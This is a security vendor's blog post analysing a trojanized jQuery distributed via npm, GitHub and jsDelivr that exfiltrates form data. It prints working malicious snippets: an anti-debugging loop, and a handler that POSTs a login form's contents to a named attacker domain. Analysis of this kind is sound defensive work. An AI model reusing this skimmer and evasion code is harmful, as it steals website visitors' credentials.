Skip to main content
Blog
Blog Attacks

Web supply chain attack through trojanized jQuery on npm, GitHub and CDNs

Attacks have been found in trojanized jQuery on GitHub, npm and jsDelivr in a new web supply chain attack. Each package had a copy of jQuery

Jul 09, 2024 5 min read
Screenshot of malicious jQuery script served through jsDelivr
Table of Contents

TL;DR: trojanized jQuery CDN attack

  • A trusted CDN turned: Everyone still trusts a jQuery CDN because it always worked, but the trojanized copy on jsDelivr changed one prototype method and quietly exfiltrated all form data on the page with an async $.ajax GET request.
  • cside sees the change: The malicious copy pulled roughly 37,000 hits per month across npm, GitHub, and jsDelivr. cside's first-party JavaScript agent observes each script's runtime behavior in the browser and detects a payload change before the trojanized code ever executes in a real user's session.
  • SRI is not enough: If your only guard is SRI on the handful of scripts you remembered to pin, a maintainer account swap or an updated CDN mirror still ships attacker code straight to every visitor loading your checkout.

Short on time? See cside's in-browser Magecart and skimmer blocking. It covers everything below in one deployment.

Attacks have been found in trojanized jQuery on GitHub, npm and jsDelivr in a new web supply chain attack. Each package had a copy of jQuery with one small change: the "end" function. This is part of the jQuery prototype, and was modified to include additional malicious code.

In the malicious script, the attacker sends a non-blocking GET request using '$.ajax' to other domains. The request URL includes a query parameter, which varies between different packages. As a result, whenever the end function is invoked, all form data on the page is exfiltrated.

This was first discovered on npm, then later on multiple GitHub repositories as well as a CDN-hosted resource on jsDelivr.

In our campaign titled supply chain risk doesn't end at npm, we stress that the delivery method of a script like this allows for dynamic behavior. This makes checking sources or relying on safe reliable delivery methods alone a risky game, as illustrated by this attack. This often tricks firewalls and lets malicious code slip through, and attackers are well aware of it.

What we found

We pulled the malicious code from the official jsDelivr CDN, which gets 37,000 hits per month. All of those include the altered scripts and are unsafe.

jsDelivr CDN page serving the trojanized jQuery script

This is part of the malicious code we found and what it does:

Trojanized jQuery script being served from the jsDelivr CDN

This part of the script serializes form data, converts it to a hexadecimal string, and sends it to a remote server using a GET request, potentially exposing sensitive user information without consent. The use of $.ajax with an async function makes this data transfer stealthy, which suggests malicious intent to quietly harvest data.

1. Anti-Debugging Mechanism:

  • Interval Function: A function '_0x38c4a6' is executed every 4 seconds using 'setInterval'. This function aims to detect and disrupt debugging attempts by leveraging JavaScript's 'debugger' statement.
  • Nested Function: Within '_0x38c4a6', the nested function '_0x386016' contains logic to repeatedly call 'debugger' based on certain conditions, which makes it difficult to debug the code with standard tools.

(function () {
  setInterval(function () {
    function antiDebugging(_0x44dcc7) {
      if (typeof _0x44dcc7 === "string") {
        return function () {}.constructor("while (true) {}").apply("counter");
      } else {
        if (('' + _0x44dcc7 / _0x44dcc7).length !== 1 || _0x44dcc7 % 20 === 0) {
          (function () {
            return true;
          }).constructor("debugger").call("action");
        } else {
          (function () {
            return false;
          }).constructor("debugger").apply("stateObject");
        }
      }
      antiDebugging(++_0x44dcc7);
    }
    try {
      antiDebugging(0);
    } catch (e) {}
  }, 4000);
})();

2. Form Submission Handler:

  • Form Selection: The script selects the form with the class '.login-form'.
  • Submit Event: An event listener is attached to the form's submit event.
  • AJAX Request: When the form is submitted, an AJAX POST request is sent to 'https://koneksi.barux.my[.]id/index.php' with the serialized form data.
$(".login-form").submit(function () {
  var form = $(".login-form");
  $.ajax({
    url: "https://koneksi.barux.my.id/index.php",
    type: "POST",
    data: form.serialize(),
    success: function () {
      return true;
    },
    error: function () {
      return true;
    }
  });
});

Together, this suggests the script may be used to prevent tampering or inspection (via the anti-debugging logic) while silently sending data from a form to a remote server. This data can be user credentials or other information.

As is typical with these attacks, it's hard to know how many people have fallen victim. The delivery method of these scripts allows for dynamic behavior. Any user can get a different delivery each time, especially when a script has been compromised. So it's either completely random, or highly targeted and set up this way to remain undetected for a long time.

In research posted by Phylum, we know that the following domains were used in this attack:

What can you do

The time for preventative measures has passed. Immediately check your code for reference to the affected repositories and domains. If found, remove them.

Attacks like this used to be impossible to detect since developers who rely on third-party sources aren't always privy to changes in the scripts themselves. Older detection methods don't account for these changes, so they can't tell the difference.

By using cside's free tier, you are alerted when a change is made inside the script itself. We block anything malicious autonomously, and you get a full overview of the deobfuscated scripts to understand what they are serving.

Get started with cside for free today.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Malicious jQuery versions were published to npm, mirrored on GitHub, and then served from the jsDelivr CDN, about 37,000 hits per month. Sites that loaded jQuery from those sources executed code that exfiltrated form data via GET requests.

Pin to a specific version with Subresource Integrity, or proxy the script through a monitor like cside so that any change in the served code is detected and blocked before it reaches the user.

Monitor and Secure Your Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start free, or try Business with a 14-day trial.

cside dashboard interface showing script monitoring and security analytics
Related Articles
Book a demo

Want to walk through this with an engineer?

Thirty minutes, on your own site. Not a slide deck.

We'll show you:

Which third-party scripts are running on your site right now
Where you stand on PCI DSS 6.4.3 and 11.6.1
How much of your traffic is bots and AI agents

Rather just send a question?

Finding open slots…

Real humans only. We'd know.

Having trouble booking? Open scheduler in a new tab

What are you trying to solve?

Tell us in a line and we'll come back with something useful, not a generic pitch.

We usually help with:

Seeing which third-party scripts run on your site
PCI DSS 6.4.3 and 11.6.1 evidence
Bots, AI agents and account takeover

Prefer to just book a time? Pick a slot instead